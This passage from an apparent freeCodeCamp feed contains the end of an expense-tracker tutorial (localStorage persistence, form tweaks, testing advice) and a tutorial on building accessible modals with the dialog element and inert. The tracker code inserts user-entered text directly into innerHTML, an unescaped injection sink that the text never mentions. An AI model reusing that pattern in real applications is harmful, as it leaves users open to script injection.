    } <span class="hljs-keyword">else</span> {
        balance.classList.remove(<span class="hljs-string">'positive'</span>);
        balance.classList.add(<span class="hljs-string">'negative'</span>);
    }
}
</code></pre>
<p>Now, when users are in the positive, the balance will show up in green. If they are in the negative, it will appear in red.</p>
<h3 id="heading-3-preserving-data-with-local-storage">3. Preserving Data with Local Storage</h3>
<p>One major enhancement is saving the transactions even after the page is refreshed. For this, we can use the browser’s local storage. By saving the transactions in local storage, the tracker will retain the data between sessions.</p>
<p>First, modify the <code>addTransaction</code> function to store the transactions in local storage:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">addTransaction</span>(<span class="hljs-params">description, amount, category</span>) </span>{
    <span class="hljs-keyword">const</span> transaction = {
        <span class="hljs-attr">description</span>: description,
        <span class="hljs-attr">amount</span>: amount,
        <span class="hljs-attr">category</span>: category
    };

    <span class="hljs-keyword">let</span> transactions = <span class="hljs-built_in">JSON</span>.parse(<span class="hljs-built_in">localStorage</span>.getItem(<span class="hljs-string">'transactions'</span>)) || [];
    transactions.push(transaction);
    <span class="hljs-built_in">localStorage</span>.setItem(<span class="hljs-string">'transactions'</span>, <span class="hljs-built_in">JSON</span>.stringify(transactions));

    <span class="hljs-keyword">const</span> transactionRow = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'tr'</span>);
    transactionRow.innerHTML = <span class="hljs-string">`
        &lt;td&gt;<span class="hljs-subst">${description}</span>&lt;/td&gt;
        &lt;td&gt;<span class="hljs-subst">${category}</span>&lt;/td&gt;
        &lt;td&gt;<span class="hljs-subst">${amount.toFixed(<span class="hljs-number">2</span>)}</span>&lt;/td&gt;
        &lt;td&gt;&lt;button class="delete-btn"&gt;Delete&lt;/button&gt;&lt;/td&gt;
    `</span>;
    transactionList.appendChild(transactionRow);

    transactionRow.querySelector(<span class="hljs-string">'.delete-btn'</span>).addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
        transactionRow.remove();
        removeTransaction(transaction);
        updateSummary();
    });
}
</code></pre>
<p>Next, create a <code>removeTransaction</code> function to handle deletion from local storage:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">removeTransaction</span>(<span class="hljs-params">transactionToRemove</span>) </span>{
    <span class="hljs-keyword">let</span> transactions = <span class="hljs-built_in">JSON</span>.parse(<span class="hljs-built_in">localStorage</span>.getItem(<span class="hljs-string">'transactions'</span>)) || [];

    transactions = transactions.filter(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">transaction</span>) </span>{
        <span class="hljs-keyword">return</span> !(transaction.description === transactionToRemove.description &amp;&amp;
                 transaction.amount === transactionToRemove.amount &amp;&amp;
                 transaction.category === transactionToRemove.category);
    });

    <span class="hljs-built_in">localStorage</span>.setItem(<span class="hljs-string">'transactions'</span>, <span class="hljs-built_in">JSON</span>.stringify(transactions));
}
</code></pre>
<p>To load saved transactions when the page is loaded, create a <code>loadTransactions</code> function:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">loadTransactions</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> transactions = <span class="hljs-built_in">JSON</span>.parse(<span class="hljs-built_in">localStorage</span>.getItem(<span class="hljs-string">'transactions'</span>)) || [];

    transactions.forEach(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">transaction</span>) </span>{
        addTransaction(transaction.description, transaction.amount, transaction.category);
    });

    updateSummary();
}

<span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">'load'</span>, loadTransactions);
</code></pre>
<p>Now, each time the page loads, the saved transactions are retrieved from local storage and displayed in the table.</p>
<h3 id="heading-4-how-to-improve-form-ux">4. How to Improve Form UX</h3>
<p>Let’s make the form more user-friendly by automatically focusing on the description input field when the page loads and clearing the form fields when a user submits a transaction. We can also restrict the amount field to only accept numbers.</p>
<p>To automatically focus on the description field:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">'load'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    expenseInput.focus();
});
</code></pre>
<p>To restrict the amount input to numbers only, you can add the following attribute to the <code>amount-input</code> in your HTML:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"amount-input"</span> <span class="hljs-attr">min</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">step</span>=<span class="hljs-string">"0.01"</span> <span class="hljs-attr">required</span>&gt;</span>
</code></pre>
<h3 id="heading-5-using-icons-for-better-ui">5. Using Icons for Better UI</h3>
<p>Consider replacing the 'Delete' button text with an icon to improve the visual appeal. You can use an icon library like Font Awesome to add a trash icon.</p>
<p>First, include Font Awesome in your HTML file by adding this line inside the <code>&lt;head&gt;</code> section:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css"</span>&gt;</span>
</code></pre>
<p>Then, in your <code>addTransaction</code> function, replace the delete button with an icon:</p>
<pre><code class="lang-javascript">transactionRow.innerHTML = <span class="hljs-string">`
    &lt;td&gt;<span class="hljs-subst">${description}</span>&lt;/td&gt;
    &lt;td&gt;<span class="hljs-subst">${category}</span>&lt;/td&gt;
    &lt;td&gt;<span class="hljs-subst">${amount.toFixed(<span class="hljs-number">2</span>)}</span>&lt;/td&gt;
    &lt;td&gt;&lt;button class="delete-btn"&gt;&lt;i class="fas fa-trash"&gt;&lt;/i&gt;&lt;/button&gt;&lt;/td&gt;
`</span>;
</code></pre>
<p>This little tweak makes your tracker look more modern and visually appealing.</p>
<h2 id="heading-testing-and-debugging">Testing and Debugging</h2>
<p>After implementing the functionality and enhancing the user experience, it’s crucial to test the expense tracker thoroughly to ensure everything works as expected. Testing helps you catch any bugs or issues before they become a problem for users.</p>
<p>In this section, we’ll go over some basic testing and debugging strategies to make sure our expense tracker is solid.</p>
<h3 id="heading-1-testing-basic-functionality">1. Testing Basic Functionality</h3>
<p>Start by testing the core features of your expense tracker:</p>
<ul>
<li><p><strong>Adding Transactions</strong>: Enter a few transactions and ensure they appear correctly in the table, with the description, category, and amount displayed properly.</p>
</li>
<li><p><strong>Deleting Transactions</strong>: Test the delete functionality by removing transactions and verifying that they are deleted both from the table and from local storage.</p>
</li>
<li><p><strong>Updating the Summary</strong>: Check that the total income, total expenses, and balance update correctly as you add and remove transactions.</p>
</li>
</ul>
<p>If any of these functionalities don’t work as expected, double-check the relevant code sections. Ensure that the JavaScript functions are correctly manipulating the DOM and updating local storage.</p>
<h3 id="heading-2-cross-browser-testing">2. Cross-Browser Testing</h3>
<p>Your expense tracker should work consistently across different web browsers. Test the application on multiple browsers like Chrome, Firefox, Safari, and Edge. Make sure the layout, functionality, and styling are consistent across all platforms.</p>
<p>If you encounter any browser-specific issues, you might need to adjust your CSS or JavaScript. For instance, some CSS properties might behave differently on different browsers, so ensure compatibility or provide fallbacks.</p>
<h3 id="heading-3-mobile-responsiveness">3. Mobile Responsiveness</h3>
<p>Test your expense tracker on various devices to ensure it’s fully responsive. Open the application on your phone or use the browser’s developer tools to simulate different screen sizes. Check how the layout adapts, and make sure the tracker is usable on smaller screens.</p>
<p>Look out for issues like:</p>
<ul>
<li><p>Text or buttons being too small or hard to tap.</p>
</li>
<li><p>The layout breaking or elements overlapping.</p>
</li>
<li><p>The form fields not fitting the screen.</p>
</li>
</ul>
<p>If you spot any problems, consider adjusting your CSS to improve the mobile experience. You might need to use media queries to tweak the layout for smaller screens.</p>
<h3 id="heading-4-testing-edge-cases">4. Testing Edge Cases</h3>
<p>Think about how users might interact with the expense tracker in unexpected ways. Consider testing the following edge cases:</p>
<ul>
<li><p><strong>Empty Inputs</strong>: Try submitting a transaction with empty fields. Does your form validation prevent this? Ensure that your <code>required</code> attributes and JavaScript validations are working.</p>
</li>
<li><p><strong>Negative Amounts</strong>: Enter negative numbers in the amount field. Does the tracker handle this correctly? You may want to restrict the input to prevent negative values.</p>
</li>
<li><p><strong>Large Numbers</strong>: Test with very large numbers in the amount field. Does the application handle large values without breaking?</p>
</li>
<li><p><strong>Duplicate Transactions</strong>: Add the same transaction multiple times. Does your tracker manage duplicates gracefully?</p>
</li>
</ul>
<p>By testing these edge cases, you can identify and address potential bugs before they affect users.</p>
<h3 id="heading-5-debugging-common-issues">5. Debugging Common Issues</h3>
<p>If you run into issues while testing, debugging is your next step. Here are some common problems you might encounter and how to troubleshoot them:</p>
<ul>
<li><p><strong>JavaScript Errors</strong>: If something isn’t working, check the browser’s console for any JavaScript errors. The console will usually provide information about what went wrong and which line of code caused the issue.</p>
</li>
<li><p><strong>Layout Problems</strong>: If the layout doesn’t look right, inspect the elements using the browser’s developer tools. Check the CSS properties being applied and see if there are any issues with margins, padding, or Flexbox/Grid settings.</p>
</li>
<li><p><strong>Data Not Persisting</strong>: If transactions aren’t being saved or loaded correctly, revisit the local storage code. Make sure you’re correctly saving and retrieving data, and that the JSON is being parsed and stringified properly.</p>
</li>
<li><p><strong>Event Listeners Not Firing</strong>: If buttons or other interactive elements aren’t working, ensure that your event listeners are properly attached. Double-check the selectors and make sure the elements exist when you’re trying to attach the listeners.</p>
</li>
</ul>
<h3 id="heading-6-user-testing">6. User Testing</h3>
<p>Finally, consider asking others to test your expense tracker. They might use the application in ways you didn’t anticipate, helping you identify usability issues or bugs that you missed. Watch how they interact with the tracker and gather feedback on any confusing elements or unexpected behaviors.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Building an expense tracker from scratch is not only a great way to sharpen your web development skills but also provides you with a practical tool to manage your finances.</p>
<p>Throughout this tutorial, we’ve walked through the entire process, from setting up the HTML structure to styling it with CSS, adding functionality with JavaScript, enhancing the user experience, and testing and debugging the final product.</p>
<p>By following these steps, you’ve created a fully functional expense tracker that allows you to easily add, view, and delete transactions, while keeping track of your income and expenses. You’ve also learned how to handle data persistence with local storage, ensuring that your data remains available even after a page refresh.</p>
<p>Remember, the principles and techniques you’ve applied here can be extended to more complex projects. Whether you’re looking to add more features to this tracker or take on a new challenge, the skills you’ve gained will be invaluable.</p>
<p>Thank you for following along with this tutorial. I hope you found it helpful and that you feel more confident in your ability to build web applications.</p>
<p>If you have any questions or suggestions, feel free to reach out on <a target="_blank" href="https://ng.linkedin.com/in/joan-ayebola">LinkedIn</a>. If you enjoyed this content, consider <a target="_blank" href="https://www.buymeacoffee.com/joanayebola">buying me a coffee</a> to support the creation of more developer-friendly contents.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build an Accessible Modal – with Example Code ]]>
                </title>
                <description>
                    <![CDATA[ We often use modals or popups to display important information or prompt users to take action. Unlike regular pop-ups that can be opened in new windows or tabs, these dialogues keep the user on the same page by overlaying the existing content. This e... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-build-an-accessible-modal-with-example-code/</link>
                <guid isPermaLink="false">66cdec7e3bcefa4703267811</guid>
                
                    <category>
                        <![CDATA[ a11y ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Accessibility ]]>
                    </category>
                
                    <category>
                        <![CDATA[ frontend ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elizabeth Lola ]]>
                </dc:creator>
                <pubDate>Tue, 27 Aug 2024 15:10:54 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1724337698676/aa23c219-2ffb-4424-bb34-3195a905d973.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>We often use modals or popups to display important information or prompt users to take action. Unlike regular pop-ups that can be opened in new windows or tabs, these dialogues keep the user on the same page by overlaying the existing content. This ensures that users remain focused on the task at hand.</p>
<p>Modals are common and sometimes required. And if they're not implemented correctly, they can be a significant barrier. Ensuring that modals are accessible means they are usable by everyone, including people who rely on assistive technologies.</p>
<p>In this article, we'll <strong>build a modal</strong> and follow the guidelines to make it accessible.</p>
<h2 id="heading-prerequisites"><strong>Prerequisites</strong></h2>
<p>To follow along with this tutorial, you should have:</p>
<ol>
<li><p><strong>Basic HTML knowledge:</strong> Understand how HTML elements and attributes work.</p>
</li>
<li><p><strong>Basic JavaScript knowledge:</strong> Familiarity with basic JavaScript concepts like functions, event handling, and DOM manipulation is helpful.</p>
</li>
<li><p><strong>Understanding of ARIA:</strong> While the tutorial explains ARIA roles and attributes, having a basic understanding of accessibility concepts can be beneficial.</p>
</li>
</ol>
<h2 id="heading-when-should-you-use-a-modal">When Should You Use a Modal?</h2>
<p>Using modals effectively requires careful consideration of the user experience. Here are some guidelines to help you decide if you should use a modal or not:</p>
<ul>
<li><p>You should use modals when the user needs to make a critical decision, such as confirming a potentially destructive action (for example, deleting an item) or agreeing to terms and conditions</p>
</li>
<li><p>You can use a modal when a task requires the user’s complete focus and does not rely on information from the rest of the page (for example, filling out a form or completing a payment process).</p>
</li>
<li><p>You can use a modal for displaying temporary or transient information that doesn’t need to be permanently visible on the page (for example, alerts, notifications, or brief messages).</p>
</li>
<li><p>You should avoid using modals for tasks that require extensive interaction or input, such as lengthy forms or complex workflows. These can be frustrating in a modal because of limited space and navigation constraints.</p>
</li>
<li><p>You should avoid using modals for actions a user will need to perform frequently, as this can become repetitive and annoying. Inline options or tooltips might be better for repetitive actions.</p>
</li>
<li><p>You should not use modals if they interrupt the user’s natural flow on the site, especially if the content or action in the modal is not urgent or important.</p>
</li>
</ul>
<h2 id="heading-modal-accessibility-guidelines">Modal Accessibility Guidelines</h2>
<p>Here are some tips to help you build useful and accessible modals:</p>
<ul>
<li>Provide a descriptive <code>aria-labelledby</code> attribute that points to the modal's title or heading. If there is no title, use <code>aria-label</code> to provide a short, descriptive label.</li>
</ul>
<ul>
<li><p>Always include a visible and easily accessible close button within the modal, usually in the top-right corner. Label this button clearly, for example, with the text "Close" or an icon with <code>aria-label="Close"</code>.</p>
</li>
<li><p>When the modal opens, move the keyboard focus to the first interactive element within the modal (usually a close button). When the modal closes, return the focus to the element that triggered the modal.</p>
</li>
<li><p>Keep the keyboard focus within the modal while it is open.</p>
</li>
<li><p>Allow users to close the modal by pressing the <code>Escape</code> key.</p>
</li>
</ul>
<p>Following these guidelines, let's build a modal.</p>
<p>I prefer using the right HTML tags to build components, and in this case I'll be doing exactly that using the <code>dialog</code> tag.</p>
<h2 id="heading-how-to-build-a-modal-using-the-dialog-tag">How to Build a Modal Using the <code>dialog</code> Tag</h2>
<p>In case you're not familiar with the <code>dialog</code> tag, it was introduced in HTML5. You use it to create dialog boxes like popups, alerts, and modals. It offers built-in methods and attributes that make it easier to manage dialog behavior without needing extensive JavaScript. The javascript built-in methods are <code>show()</code>, <code>showModal()</code>, and <code>close()</code>.</p>
<h3 id="heading-show-and-showmodal"><code>show()</code> and <code>showModal()</code></h3>
<p>The <code>show()</code> method is useful for a non-blocking dialog. This means that the dialog appears on top of the current content, but users can still interact with other parts of the webpage (clicking buttons, links, and so on) while the dialog is open.</p>
<p>This is useful in situations where the dialog is providing information that doesn’t require the user’s immediate attention. Here's an example:</p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!-- Previous content here --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">dialog</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"dialog-box"</span>&gt;</span>
<span class="hljs-comment">&lt;!-- More content here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">dialog</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">const</span> dialog = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'dialog-box'</span>);
    dialog.show();
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723822375653/a592c09a-747c-4248-84e2-9cd76c8f6498.png" alt="a non-modal dialog" class="image--center mx-auto" width="1988" height="724" loading="lazy"></p>
<p>The <code>showModal()</code> method opens the dialog in a modal mode. This means that the dialog takes focus, and interaction with the rest of the webpage is blocked until the dialog is closed. The user cannot click on or interact with any other part of the page.</p>
<p>Depending on the browser, a semi-transparent backdrop appears behind the dialog, visually indicating that the rest of the page is not interactable.</p>
<p>When a dialog is opened with <code>showModal()</code>, focus is automatically trapped within the dialog. The user can only tab through elements inside the dialog, and the focus will loop within the dialog’s content until it is closed. Here's an example:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">dialog</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"dialog-box"</span>&gt;</span>
<span class="hljs-comment">&lt;!-- More content here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">dialog</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">const</span> dialog = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'dialog-box'</span>);
    dialog.showModal();
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723823970852/1ca30713-199d-4b94-b12a-ad1a27a9063f.png" alt="a modal dialog" class="image--center mx-auto" width="1724" height="1060" loading="lazy"></p>
<p>The <code>&lt;dialog&gt;</code> element has default styles but can be customized using CSS to match your design. You can style the dialog box, add animations, or modify the backdrop. The backdrop can be styled using the <code>::backdrop</code> selector. For example:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">dialog</span><span class="hljs-selector-pseudo">::backdrop</span> {
    <span class="hljs-attribute">background</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.7</span>);
}
</code></pre>
<p>The dialog also comes with some built-in accessibility features like focus management, backdrop, automatic announcement on open, and pressing the <code>ESC</code> key will close the dialog.</p>
<p>You can add the <code>autofocus</code> attribute to the first interactive element in the modal, such as the first input in a form or the close button. Alternatively, you can rely on the <code>&lt;dialog&gt;</code> element's native focus management.</p>
<p>Avoid using <code>tabindex</code> on the <code>&lt;dialog&gt;</code> element, as it is not an interactive element like a button or link. The <code>&lt;dialog&gt;</code> serves as a container for interactive content, and it is not intended to receive direct user focus.</p>
<p>The <code>&lt;dialog&gt;</code> element provides a native way to create modals. If you're building a custom modal, make sure its accessibility features match those of the native <code>&lt;dialog&gt;</code> element.</p>
<p>Bringing it all together:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
    <span class="hljs-selector-tag">dialog</span><span class="hljs-selector-pseudo">::backdrop</span> {
        <span class="hljs-attribute">background</span>: <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.7</span>);
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"open-dialog"</span>&gt;</span>Open Dialog<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">dialog</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"dialog-box"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Modal title<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
          <span class="hljs-comment">&lt;!-- More content here --&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"close-dialog"</span> <span class="hljs-attr">autofocus</span>&gt;</span>Close<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">dialog</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">const</span> dialog = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"dialog-box"</span>);
    <span class="hljs-keyword">const</span> openButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"open-dialog"</span>);
    <span class="hljs-keyword">const</span> closeButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"close-dialog"</span>);

    openButton.addEventListener(<span class="hljs-string">"click"</span>, <span class="hljs-function">() =&gt;</span> {
      dialog.showModal();
    });
    closeButton.addEventListener(<span class="hljs-string">"click"</span>, <span class="hljs-function">() =&gt;</span> {
      dialog.close();
    });
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
</code></pre>
<p>You'll notice that I didn't use the <code>aria-label</code> attribute on the dialog as I listed in the guidelines. Well, that's because the dialog element, if well-structured, doesn't necessarily need one. In this case, there's a visible label in the dialog element (the <code>h2</code> element).</p>
<p>If there are no visible labels present then you need to add one. Like in this example:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">dialog</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"confimation-dialog"</span> <span class="hljs-attr">aria-label</span>=<span class="hljs-string">"Confirmation Dialog"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Are you sure you want to proceed?<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"close-dialog"</span> <span class="hljs-attr">autofocus</span>&gt;</span>Close<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">dialog</span>&gt;</span>
</code></pre>
<h2 id="heading-what-is-the-inert-attribute">What is the <code>inert</code> Attribute?</h2>
<p>When a modal is open, a screen reader might still navigate to and around content outside the modal. You would generally want the user's focus to be restricted to the modal itself, or stop the user from accidentally clicking on elements outside the modal to prevent confusion and errors. In these cases, you'll need the <code>inert</code> attribute.</p>
<p>The <code>inert</code> attribute makes an element and all of its descendants non-interactive and inaccessible to assistive technologies. When a modal is open, using the <code>inert</code> attribute on the rest of the page content will ensure that only the modal content can be accessed, making the dialog experience clearer.</p>
<h3 id="heading-how-to-use-the-inert-attribute">How to Use the <code>inert</code> Attribute</h3>
<p>When a modal is opened, you can apply the <code>inert</code> attribute to the rest of the page content (typically the <code>&lt;main&gt;</code> element). When the modal is closed, you remove the <code>inert</code> attribute.</p>
<p>Here's an example showing how to use <code>inert</code> with a modal dialog:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">header</span>&gt;</span>Site Header<span class="hljs-tag">&lt;/<span class="hljs-name">header</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">main</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"main-content"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"open-dialog"</span>&gt;</span>Open modal<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is the main content of the page.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
        <span class="hljs-comment">&lt;!-- More content here --&gt;</span>

    <span class="hljs-tag">&lt;/<span class="hljs-name">main</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Move the dialog outside the main element --&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">dialog</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"dialog"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Modal Title<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is the content inside the modal.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"close-dialog"</span> <span class="hljs-attr">autofocus</span>&gt;</span>Close<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">dialog</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
        <span class="hljs-keyword">const</span> dialog = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'dialog'</span>);
        <span class="hljs-keyword">const</span> mainContent = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'main-content'</span>);
        <span class="hljs-keyword">const</span> openButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'open-dialog'</span>);
        <span class="hljs-keyword">const</span> closeButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'close-dialog'</span>);

        openButton.addEventListener(<span class="hljs-string">"click"</span>, <span class="hljs-function">() =&gt;</span> {
           mainContent.setAttribute(<span class="hljs-string">'inert'</span>, <span class="hljs-string">''</span>);
          dialog.showModal();
        });

        closeButton.addEventListener(<span class="hljs-string">"click"</span>, <span class="hljs-function">() =&gt;</span> {
           dialog.close();
        });

        <span class="hljs-comment">// the dialog elemnt has a close event, which is called when a user calls the close() method or presses the esc key</span>
        dialog.addEventListener(<span class="hljs-string">"close"</span>, <span class="hljs-function">(<span class="hljs-params">event</span>) =&gt;</span> {
           mainContent.removeAttribute(<span class="hljs-string">"inert"</span>);
        });
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
</code></pre>
<h2 id="heading-how-to-animate-the-open-and-close-states">How to Animate the Open and Close States</h2>
<p>When a modal appears (open state) or disappears (close state), it can be jarring for users if this transition happens abruptly. Animating these states can create a smoother user experience by gradually introducing or removing the modal, making it feel more natural.</p>
<h4 id="heading-why-animate-the-open-and-close-states">Why Animate the Open and Close States?</h4>
<p>Animating the open and close states of a modal can:</p>
<ul>
<li><p><strong>Enhance User Experience</strong>: A smooth animation can make the transition less abrupt and more engaging.</p>
</li>
<li><p><strong>Draw Attention</strong>: Subtle animations can help guide the user's focus to the modal content when it appears.</p>
</li>
<li><p><strong>Maintain Consistency</strong>: Consistent animations across your UI can create a cohesive and professional feel.</p>
</li>
</ul>
<p>By default, the dialog is set to <code>display:none</code> when closed and <code>display:block</code> when open. You cannot transition from <code>none</code> to <code>block</code> in CSS, but you can combine the display properties with <code>transform</code> or <code>opacity</code>. The <code>transform</code> property can be used to scale or move the modal, while <code>opacity</code> controls its transparency.</p>
<p>Here’s an example of how you might animate a modal:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">dialog</span> {
  <span class="hljs-attribute">animation</span>: zoom-out <span class="hljs-number">0.5s</span> ease-out;
}

<span class="hljs-comment">/* an open attribute is added to the dialog when it is open  */</span>
<span class="hljs-selector-tag">dialog</span><span class="hljs-selector-attr">[open]</span> {
    <span class="hljs-attribute">animation</span>: zoom-in <span class="hljs-number">0.5s</span> ease-out;
}

<span class="hljs-comment">/* The display property in the keyframes is critical 
because it toggles the modal’s visibility on and off.  */</span>
<span class="hljs-keyword">@keyframes</span> zoom-in {
    0% {
      <span class="hljs-attribute">opacity</span>: <span class="hljs-number">0</span>;
      <span class="hljs-attribute">transform</span>: <span class="hljs-built_in">scale</span>(<span class="hljs-number">0.1</span>);
      <span class="hljs-attribute">display</span>:  none;
    }
    100% {
      <span class="hljs-attribute">opacity</span>: <span class="hljs-number">1</span>;
      <span class="hljs-attribute">transform</span>: <span class="hljs-built_in">scale</span>(<span class="hljs-number">1</span>);
      <span class="hljs-attribute">display</span>: block;
    }
}

<span class="hljs-keyword">@keyframes</span> zoom-out {
    0% {
      <span class="hljs-attribute">opacity</span>: <span class="hljs-number">1</span>;
      <span class="hljs-attribute">transform</span>: <span class="hljs-built_in">scale</span>(<span class="hljs-number">1</span>);
      <span class="hljs-attribute">display</span>: block;
    }
    100% {
      <span class="hljs-attribute">opacity</span>: <span class="hljs-number">0</span>;
      <span class="hljs-attribute">transform</span>: <span class="hljs-built_in">scale</span>(<span class="hljs-number">0</span>);
      <span class="hljs-attribute">display</span>: none;
    }
}
</code></pre>
<p>Final result:</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/leezee/embed/preview/XWLVBgp?default-tab=result&amp;editable=true" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<h2 id="heading-conclusion">Conclusion</h2>
